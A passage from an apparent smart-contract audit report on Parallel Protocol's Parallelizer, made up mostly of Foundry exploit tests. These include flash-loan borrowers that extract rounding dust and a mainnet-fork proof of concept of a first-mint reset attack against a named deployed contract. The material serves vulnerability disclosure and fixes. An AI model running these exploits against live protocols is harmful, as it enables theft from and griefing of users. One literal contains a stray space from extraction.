  bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

  IParallelizer public immutable parallelizer;
  ITokenP public immutable tokenP;
  FlashLenderMock public immutable lender;

  address[] public collaterals; // ordered by preference (low decimals first)

  constructor(IParallelizer _parallelizer, ITokenP _tokenP, FlashLenderMock _lender, address[] memory
  ↪  _collaterals) {
    parallelizer = _parallelizer;
    tokenP = _tokenP;
    lender = _lender;
    collaterals = _collaterals;

    for (uint256 i; i < _collaterals.length; ++i) {
      IERC20(_collaterals[i]).approve(address(_parallelizer), type(uint256).max);
    }
    IERC20(address(_tokenP)).approve(address(_parallelizer), type(uint256).max);
  }

  function onFlashLoan(
    address,
    address token,
    uint256 amount,
    uint256 fee,
    bytes calldata data
  )
    external
    returns (bytes32)
  {
    require(msg.sender == address(lender), "only lender");
    require(token == address(tokenP), "wrong token");
```

```
    (uint8 chunks, bytes32 salt) = abi.decode(data, (uint8, bytes32));
    if (chunks == 0) chunks = 1;
    if (chunks > 24) chunks = 24;

    // Redeem all borrowed tokenP into collateral.
    (address[] memory tokens,) = parallelizer.quoteRedemptionCurve(amount);
    uint256[] memory minAmountOuts = new uint256[](tokens.length);
    parallelizer.redeem(amount, address(this), block.timestamp * 2, minAmountOuts);

    // Piecewise mint exact output of stablecoins to repay (amount + fee).
    uint256 remainingOut = amount + fee;
    for (uint256 i; i < chunks; ++i) {
      uint256 chunksLeft = chunks - i;
      uint256 chunkOut;
      if (chunksLeft == 1) {
        chunkOut = remainingOut;
      } else {
        // 1..2x(avg) to exercise rounding paths while keeping progress.
        uint256 avg = remainingOut / chunksLeft;
        uint256 r = uint256(keccak256(abi.encodePacked(salt, i, remainingOut)));
        uint256 span = avg == 0 ? remainingOut : (avg * 2);
        chunkOut = 1 + (r % (span == 0 ? remainingOut : span));
        if (chunkOut > remainingOut - (chunksLeft - 1)) chunkOut = remainingOut - (chunksLeft - 1);
      }

      bool minted;
      // Prefer low-decimal collaterals to maximize any rounding benefit.
      for (uint256 c; c < collaterals.length && !minted; ++c) {
        address collateral = collaterals[c];
        uint256 bal = IERC20(collateral).balanceOf(address(this));
        if (bal == 0) continue;

        uint256 needIn = parallelizer.quoteOut(chunkOut, collateral, address(tokenP));
        if (needIn == 0 || needIn > bal) continue;

        // Mint exact stable output.
        parallelizer.swapExactOutput(chunkOut, needIn, collateral, address(tokenP), address(this),
        ↪  block.timestamp * 2);
        minted = true;
      }
      require(minted, "cannot mint repay chunk");
      remainingOut -= chunkOut;
    }

    // Approve repayment to lender.
    IERC20(address(tokenP)).approve(address(lender), amount + fee);
    return CALLBACK_SUCCESS;
  }
}

/// @dev Borrower that tries the sequence:
/// 1) burn all borrowed tokenP into one chosen collateral via swapExactInput
/// 2) piecewise mint exact output to get back amount+fee with minimal collateral
/// 3) keep any leftover collateral/tokenP as profit
contract BurnPiecewiseMintBorrower is IERC3156FlashBorrower {
  bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

  IParallelizer public immutable parallelizer;
  ITokenP public immutable tokenP;
  FlashLenderMock public immutable lender;

  address[] public collaterals; // ordered by preference (low decimals first)
```

```
constructor(IParallelizer _parallelizer, ITokenP _tokenP, FlashLenderMock _lender, address[] memory
↪  _collaterals) {
  parallelizer = _parallelizer;
  tokenP = _tokenP;
  lender = _lender;
  collaterals = _collaterals;

  for (uint256 i; i < _collaterals.length; ++i) {
    IERC20(_collaterals[i]).approve(address(_parallelizer), type(uint256).max);
  }
  IERC20(address(_tokenP)).approve(address(_parallelizer), type(uint256).max);
}

function onFlashLoan(
  address,
  address token,
  uint256 amount,
  uint256 fee,
  bytes calldata data
)
  external
  returns (bytes32)
{
  require(msg.sender == address(lender), "only lender");
  require(token == address(tokenP), "wrong token");

  (uint8 chunks, bytes32 salt, uint8 burnIndex) = abi.decode(data, (uint8, bytes32, uint8));
  if (chunks == 0) chunks = 1;
  if (chunks > 24) chunks = 24;

  address burnCollateral = collaterals[burnIndex % collaterals.length];

  // Burn all borrowed tokenP into the chosen collateral.
  uint256 out = parallelizer.quoteIn(amount, address(tokenP), burnCollateral);
  require(out > 0, "cannot burn");
  parallelizer.swapExactInput(amount, 0, address(tokenP), burnCollateral, address(this),
  ↪  block.timestamp * 2);

  // Piecewise mint exact output of stablecoins to repay (amount + fee).
  uint256 remainingOut = amount + fee;
  for (uint256 i; i < chunks; ++i) {
    uint256 chunksLeft = chunks - i;
    uint256 chunkOut;
    if (chunksLeft == 1) {
      chunkOut = remainingOut;
    } else {
      // 1..2x(avg) to exercise rounding paths while keeping progress.
      uint256 avg = remainingOut / chunksLeft;
      uint256 r = uint256(keccak256(abi.encodePacked(salt, i, remainingOut)));
      uint256 span = avg == 0 ? remainingOut : (avg * 2);
      chunkOut = 1 + (r % (span == 0 ? remainingOut : span));
      if (chunkOut > remainingOut - (chunksLeft - 1)) chunkOut = remainingOut - (chunksLeft - 1);
    }

    bool minted;
    for (uint256 c; c < collaterals.length && !minted; ++c) {
      address collateral = collaterals[c];
      uint256 bal = IERC20(collateral).balanceOf(address(this));
      if (bal == 0) continue;

      uint256 needIn = parallelizer.quoteOut(chunkOut, collateral, address(tokenP));
      if (needIn == 0 || needIn > bal) continue;
```

```
        parallelizer.swapExactOutput(chunkOut, needIn, collateral, address(tokenP), address(this),
        ↪  block.timestamp * 2);
        minted = true;
      }
      require(minted, "cannot mint repay chunk");
      remainingOut -= chunkOut;
    }

    // Approve repayment to lender.
    IERC20(address(tokenP)).approve(address(lender), amount + fee);
    return CALLBACK_SUCCESS;
  }
}

contract FlashloanRedeemPiecewiseMintFuzzTest is Fixture {
  FlashLenderMock internal lender;
  RedeemPiecewiseMintBorrower internal borrower;
  RedeemPiecewiseMintBorrower internal borrowerHighDecFirst;
  RedeemPiecewiseMintBorrower internal borrowerOnlyY;

  function setUp() public override {
    super.setUp();

    lender = new FlashLenderMock(tokenP);

    address[] memory cols = new address[](3);
    // Prefer low decimals first.
    cols[0] = address(eurA); // 6 decimals
    cols[1] = address(eurB); // 12 decimals
    cols[2] = address(eurY); // 18 decimals

    borrower = new RedeemPiecewiseMintBorrower(parallelizer, tokenP, lender, cols);

    // Prefer high decimals first (more precise), then fall back.
    address[] memory colsHigh = new address[](3);
    colsHigh[0] = address(eurY);
    colsHigh[1] = address(eurB);
    colsHigh[2] = address(eurA);
    borrowerHighDecFirst = new RedeemPiecewiseMintBorrower(parallelizer, tokenP, lender, colsHigh);

    // Only allow minting back using eurY (most precise). This should often fail to repay for tiny
    ↪  redeems.
    address[] memory colsOnlyY = new address[](1);
    colsOnlyY[0] = address(eurY);
    borrowerOnlyY = new RedeemPiecewiseMintBorrower(parallelizer, tokenP, lender, colsOnlyY);
  }

  function _setMonotonicMintFeesAndFlatRedemption() internal {
    // Set oracle prices to 1.0 so we isolate rounding/fee math rather than price effects.
    MockChainlinkOracle(address(oracleA)).setLatestAnswer(100_000_000);
    MockChainlinkOracle(address(oracleB)).setLatestAnswer(100_000_000);
    MockChainlinkOracle(address(oracleY)).setLatestAnswer(100_000_000);

    // Strictly increasing mint fees (monotonic) as observed in a path-independence counterexample.
    uint64[] memory xFeeMint = new uint64[](3);
    int64[] memory yFeeMint = new int64[](3);
    xFeeMint[0] = 0;
    xFeeMint[1] = 24_428_931;
    xFeeMint[2] = 44_762_710;
    yFeeMint[0] = 250_678_608;
    yFeeMint[1] = 294_321_635;
    yFeeMint[2] = 296_375_599;
```

```
    // Burn fees are irrelevant for this redeem->mint repayment cycle; keep them at 0.
    uint64[] memory xFeeBurn = new uint64[](1);
    xFeeBurn[0] = uint64(BASE_9);
    int64[] memory yFee0 = new int64[](1);
    yFee0[0] = 0;

    // Redemption curve set to flat 1.0.
    int64[] memory yRedeem = new int64[](1);
    yRedeem[0] = int64(int256(BASE_9));

    vm.startPrank(guardian);
    parallelizer.setFees(address(eurA), xFeeMint, yFeeMint, true);
    parallelizer.setFees(address(eurB), xFeeMint, yFeeMint, true);
    parallelizer.setFees(address(eurY), xFeeMint, yFeeMint, true);

    parallelizer.setFees(address(eurA), xFeeBurn, yFee0, false);
    parallelizer.setFees(address(eurB), xFeeBurn, yFee0, false);
    parallelizer.setFees(address(eurY), xFeeBurn, yFee0, false);

    // x array for redemption is strictly increasing; reuse [0] and y=BASE_9 for constant factor 1.0.
    uint64[] memory xRedeem = new uint64[](1);
    xRedeem[0] = 0;
    parallelizer.setRedemptionCurveParams(xRedeem, yRedeem);
    vm.stopPrank();
  }

  function _setZeroFeesAndFlatRedemption() internal {
    // Set mint/burn fees to 0, and redemption curve to 1, to isolate rounding effects.
    uint64[] memory xFeeMint = new uint64[](1);
    xFeeMint[0] = uint64(0);
    uint64[] memory xFeeBurn = new uint64[](1);
    xFeeBurn[0] = uint64(BASE_9);

    int64[] memory yFee = new int64[](1);
    yFee[0] = 0;

    vm.startPrank(guardian);
    parallelizer.setFees(address(eurA), xFeeMint, yFee, true);
    parallelizer.setFees(address(eurB), xFeeMint, yFee, true);
    parallelizer.setFees(address(eurY), xFeeMint, yFee, true);
    parallelizer.setFees(address(eurA), xFeeBurn, yFee, false);
    parallelizer.setFees(address(eurB), xFeeBurn, yFee, false);
    parallelizer.setFees(address(eurY), xFeeBurn, yFee, false);

    int64[] memory yRedeem = new int64[](1);
    yRedeem[0] = int64(int256(BASE_9));
    parallelizer.setRedemptionCurveParams(xFeeMint, yRedeem);
    vm.stopPrank();
  }

  function _seedReserves(uint256[3] memory initialAmounts) internal returns (uint256 mintedStables) {
    // Mint stablecoins into Alice by depositing collateral, creating backing in the parallelizer.
    vm.startPrank(alice);
    // Bound amounts so tests run quickly but still exercise rounding; eurA has 6 decimals.
    initialAmounts[0] = bound(initialAmounts[0], 1e6, 1e15 * 10 ** 6);
    initialAmounts[1] = bound(initialAmounts[1], 1e6, 1e15 * 10 ** 12);
    initialAmounts[2] = bound(initialAmounts[2], 1e6, 1e15 * 10 ** 18);

    deal(address(eurA), alice, initialAmounts[0]);
    deal(address(eurB), alice, initialAmounts[1]);
    deal(address(eurY), alice, initialAmounts[2]);

    IERC20(address(eurA)).approve(address(parallelizer), type(uint256).max);
```

```
  IERC20(address(eurB)).approve(address(parallelizer), type(uint256).max);
  IERC20(address(eurY)).approve(address(parallelizer), type(uint256).max);

  mintedStables += parallelizer.swapExactInput(initialAmounts[0], 0, address(eurA), address(tokenP),
  ↪  alice, block.timestamp * 2);
  mintedStables += parallelizer.swapExactInput(initialAmounts[1], 0, address(eurB), address(tokenP),
  ↪  alice, block.timestamp * 2);
  mintedStables += parallelizer.swapExactInput(initialAmounts[2], 0, address(eurY), address(tokenP),
  ↪  alice, block.timestamp * 2);
  vm.stopPrank();
}

/// @notice Attack attempt: borrow the max amount, redeem all borrowed tokenP, then piecewise mint to
↪  repay.
/// Expected property (default params): attacker cannot end the flashloan with any positive residual
↪  balance
/// (tokenP or collateral). If this fails, it suggests a rounding/curve issue worth investigating.
function testFuzz_Flashloan_Max_RedeemAll_PiecewiseMint_NoProfit_DefaultParams(
  uint256[3] memory initialAmounts,
  uint256 loanAmountSeed,
  uint8 chunks,
  bytes32 salt
)
  public
{
  uint256 mintedStables = _seedReserves(initialAmounts);
  vm.assume(mintedStables > 1); // need room for a non-zero flat fee

  uint256 loanAmount = bound(loanAmountSeed, 1, mintedStables);
  lender.setParams(loanAmount, 1); // flat fee = 1 wei of tokenP

  bytes memory data = abi.encode(chunks, salt);

  // If the flashloan cannot be repaid, it will revert and the attack fails (acceptable outcome).
  try lender.flashLoan(borrower, address(tokenP), loanAmount, data) returns (bool ok) {
    require(ok, "flashLoan returned false");

    // If it succeeds, there must be no profit left behind.
    assertEq(IERC20(address(tokenP)).balanceOf(address(borrower)), 0, "profit in tokenP");
    assertEq(IERC20(address(eurA)).balanceOf(address(borrower)), 0, "profit in eurA");
    assertEq(IERC20(address(eurB)).balanceOf(address(borrower)), 0, "profit in eurB");
    assertEq(IERC20(address(eurY)).balanceOf(address(borrower)), 0, "profit in eurY");
  } catch {
    // Revert means the borrower couldn't complete the cycle and repay.
  }
}

/// @notice Same as the default-params test, but forces a strictly monotonic mint fee curve.
/// This is a probe to see whether rounding dust profit can still exist even with sane (monotonic)
↪  fees.
function testFuzz_Flashloan_Max_RedeemAll_PiecewiseMint_MonotonicMintFees_Probe(
  uint256[3] memory initialAmounts,
  uint256 loanAmountSeed,
  uint8 chunks,
  bytes32 salt
)
  public
{
  _setMonotonicMintFeesAndFlatRedemption();

  uint256 mintedStables = _seedReserves(initialAmounts);
  vm.assume(mintedStables > 1);
```

```
  uint256 loanAmount = bound(loanAmountSeed, 1, mintedStables);
  lender.setParams(loanAmount, 1); // flat fee = 1 wei of tokenP

  bytes memory data = abi.encode(chunks, salt);

  try lender.flashLoan(borrower, address(tokenP), loanAmount, data) returns (bool ok) {
    require(ok, "flashLoan returned false");
  } catch {
    // Revert means the borrower couldn't complete the cycle and repay.
  }
}

/// @notice Deterministic counterexample showing dust profit can still exist with strictly monotonic
↪  mint fees.
function test_Flashloan_RedeemAll_PiecewiseMint_MonotonicMintFees_LeavesDustProfit() public {
  _setMonotonicMintFeesAndFlatRedemption();

  // Counterexample found by the fuzz probe above.
  uint256[3] memory initialAmounts = [
    uint256(999999999999999295433), // eurA
    uint256(132846194),             // eurB
    uint256(5626568696961731130948) // eurY
  ];
  uint256 mintedStables = _seedReserves(initialAmounts);
  assertGt(mintedStables, 1);

  uint256 loanAmount = 3621523563518;
  lender.setParams(loanAmount, 1);

  uint8 chunks = 2;
  bytes32 salt = 0xea2375bda3eedb5ded144352e05763230ad6950f8ee3d7645723968c15611ee6;
  bytes memory data = abi.encode(chunks, salt);

  bool ok = lender.flashLoan(borrower, address(tokenP), loanAmount, data);
  assertTrue(ok);

  assertEq(IERC20(address(tokenP)).balanceOf(address(borrower)), 0);
  assertEq(IERC20(address(eurA)).balanceOf(address(borrower)), 0);
  assertEq(IERC20(address(eurB)).balanceOf(address(borrower)), 0);
  assertEq(IERC20(address(eurY)).balanceOf(address(borrower)), 20);
}

function test_Flashloan_RedeemAll_PiecewiseMint_MonotonicMintFees_HighDecimalsFirst_StillLeavesDust()
↪  public {
  _setMonotonicMintFeesAndFlatRedemption();

  uint256[3] memory initialAmounts = [
    uint256(999999999999999295433), // eurA
    uint256(132846194),             // eurB
    uint256(5626568696961731130948) // eurY
  ];
  uint256 mintedStables = _seedReserves(initialAmounts);
  assertGt(mintedStables, 1);

  uint256 loanAmount = 3621523563518;
  lender.setParams(loanAmount, 1);

  uint8 chunks = 2;
  bytes32 salt = 0xea2375bda3eedb5ded144352e05763230ad6950f8ee3d7645723968c15611ee6;
  bytes memory data = abi.encode(chunks, salt);

  bool ok = lender.flashLoan(borrowerHighDecFirst, address(tokenP), loanAmount, data);
  assertTrue(ok);
```

```
    // We expect the borrower still to repay using eurA (eurY dust is too small to be useful),
    // so eurY dust remains.
    assertEq(IERC20(address(tokenP)).balanceOf(address(borrowerHighDecFirst)), 0);
    assertEq(IERC20(address(eurA)).balanceOf(address(borrowerHighDecFirst)), 0);
    assertEq(IERC20(address(eurB)).balanceOf(address(borrowerHighDecFirst)), 0);
    assertEq(IERC20(address(eurY)).balanceOf(address(borrowerHighDecFirst)), 20);
  }

  function test_Flashloan_RedeemAll_PiecewiseMint_MonotonicMintFees_OnlyEurY_CannotRepay() public {
    _setMonotonicMintFeesAndFlatRedemption();

    uint256[3] memory initialAmounts = [
      uint256(99999999999999295433), // eurA
      uint256(132846194),            // eurB
      uint256(5626568696961731130948) // eurY
    ];
    uint256 mintedStables = _seedReserves(initialAmounts);
    assertGt(mintedStables, 1);

    uint256 loanAmount = 3621523563518;
    lender.setParams(loanAmount, 1);

    uint8 chunks = 2;
    bytes32 salt = 0xea2375bda3eedb5ded144352e05763230ad6950f8ee3d7645723968c15611ee6;
    bytes memory data = abi.encode(chunks, salt);

    // With only eurY allowed for minting back, the borrower should revert (insufficient eurY to repay).
    vm.expectRevert("cannot mint repay chunk");
    lender.flashLoan(borrowerOnlyY, address(tokenP), loanAmount, data);
  }

  /// @notice Deterministic counterexample showing dust profit from rounding when fees are set to 0.
  /// Salt was found by brute forcing locally (see git history); this keeps the regression fast.
  function test_Flashloan_RedeemAll_PiecewiseMint_ZeroFees_LeavesDustProfit() public {
    _setZeroFeesAndFlatRedemption();

    // From failing fuzz counterexample.
    uint256[3] memory initialAmounts = [
      uint256(77222900691091970590614629758527202611215241172598380586311 19),
      uint256(771447797),
      uint256(3)
    ];
    uint256 mintedStables = _seedReserves(initialAmounts);
    assertGt(mintedStables, 1);

    uint256 loanAmount = 581558164043130774767101051304;
    lender.setParams(loanAmount, 1);

    uint8 chunks = 24;
    // Brute-forced salt giving a larger deterministic eurA dust profit.
    bytes32 salt = 0xb06106542bac778aeaad81cc158812cb2f6ea44dae69fc118099eaae95163ba1;
    bytes memory data = abi.encode(chunks, salt);

    bool ok = lender.flashLoan(borrower, address(tokenP), loanAmount, data);
    assertTrue(ok);

    // Pays back principal+fee, keeps dust profit in 6-decimal collateral.
    assertEq(IERC20(address(tokenP)).balanceOf(address(borrower)), 0);
    assertEq(IERC20(address(eurA)).balanceOf(address(borrower)), 15);
    console.log("eurA: %s", IERC20(address(eurA)).balanceOf(address(borrower)));
  }
}
```

```
contract FlashloanBurnPiecewiseMintFuzzTest is Fixture {
  FlashLenderMock internal lender;
  BurnPiecewiseMintBorrower internal borrower;

  function setUp() public override {
    super.setUp();

    lender = new FlashLenderMock(tokenP);

    address[] memory cols = new address[](3);
    cols[0] = address(eurA); // 6 decimals
    cols[1] = address(eurB); // 12 decimals
    cols[2] = address(eurY); // 18 decimals

    borrower = new BurnPiecewiseMintBorrower(parallelizer, tokenP, lender, cols);
  }

  function _seedReserves(uint256[3] memory initialAmounts) internal returns (uint256 mintedStables) {
    // Same reserve seeding as the redeem test: mint stablecoins by depositing collateral,
    // leaving collateral backing on the parallelizer to be burnt out.
    vm.startPrank(alice);

    initialAmounts[0] = bound(initialAmounts[0], 1e6, 1e15 * 10 ** 6);
    initialAmounts[1] = bound(initialAmounts[1], 1e6, 1e15 * 10 ** 12);
    initialAmounts[2] = bound(initialAmounts[2], 1e6, 1e15 * 10 ** 18);

    deal(address(eurA), alice, initialAmounts[0]);
    deal(address(eurB), alice, initialAmounts[1]);
    deal(address(eurY), alice, initialAmounts[2]);

    IERC20(address(eurA)).approve(address(parallelizer), type(uint256).max);
    IERC20(address(eurB)).approve(address(parallelizer), type(uint256).max);
    IERC20(address(eurY)).approve(address(parallelizer), type(uint256).max);

    mintedStables += parallelizer.swapExactInput(
      initialAmounts[0], 0, address(eurA), address(tokenP), alice, block.timestamp * 2
    );
    mintedStables += parallelizer.swapExactInput(
      initialAmounts[1], 0, address(eurB), address(tokenP), alice, block.timestamp * 2
    );
    mintedStables += parallelizer.swapExactInput(
      initialAmounts[2], 0, address(eurY), address(tokenP), alice, block.timestamp * 2
    );

    vm.stopPrank();
  }

  /// @notice Attack attempt: borrow tokenP, burn all to a chosen collateral, then piecewise mint to
  ↪  repay.
  /// If the flashloan succeeds, there should be no profit left behind.
  function testFuzz_Flashloan_Max_BurnAll_PiecewiseMint_NoProfit_DefaultParams(
    uint256[3] memory initialAmounts,
    uint256 loanAmountSeed,
    uint8 chunks,
    bytes32 salt,
    uint8 burnIndex
  )
    public
  {
    uint256 mintedStables = _seedReserves(initialAmounts);
    vm.assume(mintedStables > 1);
```

```
    address burnCollateral = burnIndex % 3 == 0 ? address(eurA) : burnIndex % 3 == 1 ? address(eurB) :
    ↪  address(eurY);
    (uint256 issuedFromCollateral,) = parallelizer.getIssuedByCollateral(burnCollateral);
    vm.assume(issuedFromCollateral > 1);

    uint256 loanAmount = bound(loanAmountSeed, 1, issuedFromCollateral);
    lender.setParams(loanAmount, 1); // flat fee = 1 wei

    bytes memory data = abi.encode(chunks, salt, burnIndex);

    try lender.flashLoan(borrower, address(tokenP), loanAmount, data) returns (bool ok) {
      require(ok, "flashLoan returned false");

      assertEq(IERC20(address(tokenP)).balanceOf(address(borrower)), 0, "profit in tokenP");
      assertEq(IERC20(address(eurA)).balanceOf(address(borrower)), 0, "profit in eurA");
      assertEq(IERC20(address(eurB)).balanceOf(address(borrower)), 0, "profit in eurB");
      assertEq(IERC20(address(eurY)).balanceOf(address(borrower)), 0, "profit in eurY");
    } catch {
      // revert means the borrower couldn't complete the cycle and repay
    }
  }
}
```

Attack:

- redeem
- piece-wise mint

Parallel: Fixed in commit f60101a.

Cyfrin: Verified. `LibHelpers.convertDecimalsTo` now rounds towards the specified direction when converting from higher decimals to lower decimals.

7.4.9 `Getters::getCollateralSurplus` returns positive values even when `Surplus::processSurplus` is guaranteed to revert

Description: The view function `Getters::getCollateralSurplus` computes and returns a positive surplus value for a collateral **even when the global collateral ratio is below the** `surplusBufferRatio`.

However, function `Surplus::processSurplus` **always reverts** in this situation due to the explicit check:

```
  function processSurplus(
    ...
  )
    ...
  {
    ...
    (uint64 collatRatio,,,,) = LibGetters.getCollateralRatio();
@>  if (collatRatio < ts.surplusBufferRatio) revert Undercollateralized();
    emit SurplusProcessed(collateralSurplus, stableSurplus, issuedAmount);
  }
```

This means that whenever the global system is under-buffered (i.e., `collatRatio < surplusBufferRatio`), any call to `Surplus::processSurplus` that was triggered after reading a positive value from `Getters::getCollateralSurplus` will revert.

Recommended Mitigation: Consider documenting this behavior: A positive return from `Getters::getCollateralSurplus` **does not** guarantee that `Surplus::processSurplus` will succeed — the global collateral ratio must still be surplusBufferRatio.

Optionally, consider introducing a custom error (i.e. `SurplusNotProcessable`) in the `Getters::getCollateralSurplus` function for explicit signaling that surplus can't be processed because

the system is below the defined `surplusBufferRatio`.

Parallel: Fixed in commit 60fec2c

Cyfrin: Verified. `LibSurpluss::_computeCollateralSurplus` now reverts if `collateralRatio < surplusBufferRatio`.

7.4.10 First mint bug becomes reproducible in the presence of bridgeable tokens

Description

first mint uses flat first-fee branch when `normalizedStablesMem == 0` can be made repeatedly exploitable, not just at initial deployment, by combining bridge-in supply with burn-based depletion.

Parallelizer's `Swapper::_quoteFees` will fall back to applying `yFeeMint[0]` when `ts.normalizedStables/normalizedStablesMem` is zero. Under normal assumptions, and without the use of bridging this is a one-time bootstrap condition. If the first minter is not malicious then the existence of other minters means the likelihood of `ts.normalizedStables` ever reaching zero is essentially nothing.

However, with bridging enabled, an attacker can recreate it by acquiring USDp on another chain, bridging it, and then burning across collaterals until local issued state is depleted to zero.

Once reset, the attacker can perform a large first mint into a chosen collateral at the (usually low) rate of `yFeeMint[0]`. Depending on the fee structure of the collaterals this can have interesting, and damaging consequences.

Impact: Bridging makes the first-mint weakness operationally repeatable via bridging and burning.

An attacker can repeatedly force the protocol into the first-mint branch and concentrate issuance into one collateral.

Proof of Concept: The following PoC forks the state of mainnet and shows that an attacker can:

- burn USDp repeatedly so that `ts.normalizedStables == 0`
- mint 400,000 USDp using sUSDe

Once they have done that, any other user that tries to mint USDp using sUSDe will suffer an enormous penalty. This is because the mint fee structure of sUSDe charges a 999% fee if the proportion of sUSDE in Parallelizer exceeds 95%.

However, since the first mint was so large a substantial amount of other collateral must be added to bring the fee for minting with sUSDe down.

The PoC shows that ~26,000 frxUSD must be minted for the mint fee on sUSDe to drop down to 0% again.

parallel-protocolMainnetFirstMintResetFork.t.sol

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;

import { Test, console } from "@forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import { DecimalString } from "../utils/DecimalString.sol";

interface ILiveParallelizerReset {
  function tokenP() external view returns (address);
  function getCollateralList() external view returns (address[] memory);
  function getTotalIssued() external view returns (uint256 stablecoinsIssued);
  function getIssuedByCollateral(address collateral) external view returns (uint256
  ↪  stablecoinsFromCollateral, uint256 stablecoinsIssued);
  function quoteIn(uint256 amountIn, address tokenIn, address tokenOut) external view returns (uint256
  ↪  amountOut);
  function quoteOut(uint256 amountOut, address tokenIn, address tokenOut) external view returns
  ↪  (uint256 amountIn);
  function swapExactInput(
```

```
    uint256 amountIn,
    uint256 amountOutMin,
    address tokenIn,
    address tokenOut,
    address to,
    uint256 deadline
  )
    external
    returns (uint256 amountOut);
  function swapExactOutput(
    uint256 amountOut,
    uint256 amountInMax,
    address tokenIn,
    address tokenOut,
    address to,
    uint256 deadline
  )
    external
    returns (uint256 amountIn);
  function getCollateralMintFees(address collateral) external view returns (uint64[] memory xFeeMint,
  ↪  int64[] memory yFeeMint);
  function getCollateralBurnFees(address collateral) external view returns (uint64[] memory xFeeBurn,
  ↪  int64[] memory yFeeBurn);
}

/// @notice Fork PoC at block 24,497,000:
/// 1) Deplete `getTotalIssued()` to zero via burn on live collateral set
/// 2) Show concentrated sUSDe mint makes next small sUSDe mint very expensive
/// 3) Find the frxUSD second-mint breakpoint where sUSDe quote exits punitive regime
contract CyfrinMainnetFirstMintResetForkTest is Test {
  uint256 internal constant FORK_BLOCK = 24_497_000;
  address internal constant PARALLELIZER_USDP = 0x6efeDDF9269c3683Ba516cb0e2124FE335F262a2;
  uint256 internal constant TARGET_USDP = 100_000e18;

  ILiveParallelizerReset internal parallelizer;
  IERC20 internal usdp;
  uint8 internal usdpDecimals;

  address internal attacker = makeAddr("attacker-reset");

  function setUp() external {
    string memory rpcUrl = vm.envString("RPC_URL");
    vm.createSelectFork(rpcUrl, FORK_BLOCK);

    parallelizer = ILiveParallelizerReset(PARALLELIZER_USDP);
    usdp = IERC20(parallelizer.tokenP());
    usdpDecimals = IERC20Metadata(address(usdp)).decimals();
  }

  function test_cyfrin_mainnetFork_resetToZero_thenFirstMintBetterThanNext() external {
    console.log("=== Mainnet fork reset-to-zero then first-mint edge ===");
    console.log("Fork block:", FORK_BLOCK);
    console.log("Parallelizer:", PARALLELIZER_USDP);
    _logAmount("Initial total issued.............: ", parallelizer.getTotalIssued(), usdpDecimals);
    console.log("");

    address[] memory collaterals = parallelizer.getCollateralList();
    require(collaterals.length > 0, "no collateral");

    uint256 totalIssuedBefore = parallelizer.getTotalIssued();
    // Simulate bridge-in principal availability on destination chain.
    deal(address(usdp), attacker, totalIssuedBefore * 3 + 1e18, true);
    vm.prank(attacker);
```

```
usdp.approve(PARALLELIZER_USDP, type(uint256).max);

uint256 chosenIssued;
address chosenCollateral;
uint256 collateralCount = collaterals.length;
uint256[] memory issuedTrace = new uint256[](41);
uint256 traceLen;
issuedTrace[traceLen++] = totalIssuedBefore;
for (uint256 pass; pass < 40; ++pass) {
  bool progress;
  for (uint256 i; i < collateralCount; ++i) {
    address collateral = collaterals[i];
    (uint256 issuedFromCollat,) = parallelizer.getIssuedByCollateral(collateral);
    if (issuedFromCollat == 0) continue;

    uint256 burnable = _maxBurnable(collateral, issuedFromCollat);

    if (burnable > 0) {
      _burnAsAttacker(burnable, collateral);
      progress = true;
    }

    // Keep largest-collateral bucket for the post-reset first mint check.
    if (issuedFromCollat > chosenIssued) {
      chosenIssued = issuedFromCollat;
      chosenCollateral = collateral;
    }
  }
  if (!progress) break;
  uint256 totalAfterPass = parallelizer.getTotalIssued();
  issuedTrace[traceLen++] = totalAfterPass;
  if (totalAfterPass == 0) break;
}
console.log("");
console.log("Depletion iterations.............:", traceLen - 1);
console.log(
  string.concat("Issued trace (USDp)............: ", _formatAmountArray(issuedTrace, traceLen,
  ↪  usdpDecimals))
);

uint256 totalIssuedAfter = parallelizer.getTotalIssued();
_logAmount("Total issued after burns.........: ", totalIssuedAfter, usdpDecimals);
assertEq(totalIssuedAfter, 0, "expected fork state to reach totalIssued == 0");

require(chosenCollateral != address(0), "no chosen collateral");
uint8 chosenDecimals = IERC20Metadata(chosenCollateral).decimals();
uint256 susdeMintTarget = 400_000e18;
uint256 susdeSmallTopUp = 10_000e18;
uint256 frxUsdSearchUpper = 100_000e18;

// 1) Concentrate issuance into sUSDe.
uint256 spentInitialSUSDe = _mintExactOutAsAttacker(susdeMintTarget, chosenCollateral);
(uint256 issuedChosenAfterFirst,) = parallelizer.getIssuedByCollateral(chosenCollateral);
uint256 quoteTopUpBeforeRebalance = parallelizer.quoteOut(susdeSmallTopUp, chosenCollateral,
↪  address(usdp));

// 2) Find minimum frxUSD second mint where +10k sUSDe cost returns to zero-fee reference.
address frxUsd = _findCollateralBySymbol("frxUSD");
uint256 zeroFeeReferenceQuote = _quoteTopUpAfterFrxMint(chosenCollateral, frxUsd, 50_000e18,
↪  susdeSmallTopUp);
uint256 breakEvenFrxUsd = _findBreakEvenFrxUsdForZeroFeeQuote(
  chosenCollateral, frxUsd, susdeSmallTopUp, zeroFeeReferenceQuote, frxUsdSearchUpper
);
```

```
  uint256 quoteAtBreakEven = _quoteTopUpAfterFrxMint(chosenCollateral, frxUsd, breakEvenFrxUsd,
  ↪  susdeSmallTopUp);

  console.log("");
  console.log("Post-reset concentration sensitivity:");
  console.log("Collateral:", chosenCollateral);
  console.log("Symbol:", IERC20Metadata(chosenCollateral).symbol());
  _logAmount("Initial sUSDe mint target USDp....: ", susdeMintTarget, usdpDecimals);
  _logAmount("Initial sUSDe collateral spent....: ", spentInitialSUSDe, chosenDecimals);
  _logAmount("Issued USDp after first mint......: ", issuedChosenAfterFirst, usdpDecimals);
  _logAmount("Cost for +10k sUSDe before frxUSD.: ", quoteTopUpBeforeRebalance, chosenDecimals);
  console.log("");
  console.log("Break-even collateral:", frxUsd);
  console.log("Symbol:", IERC20Metadata(frxUsd).symbol());
  _logAmount("Zero-fee ref (+10k sUSDe).........: ", zeroFeeReferenceQuote, chosenDecimals);
  _logAmount("Break-even frxUSD second mint.....: ", breakEvenFrxUsd, usdpDecimals);
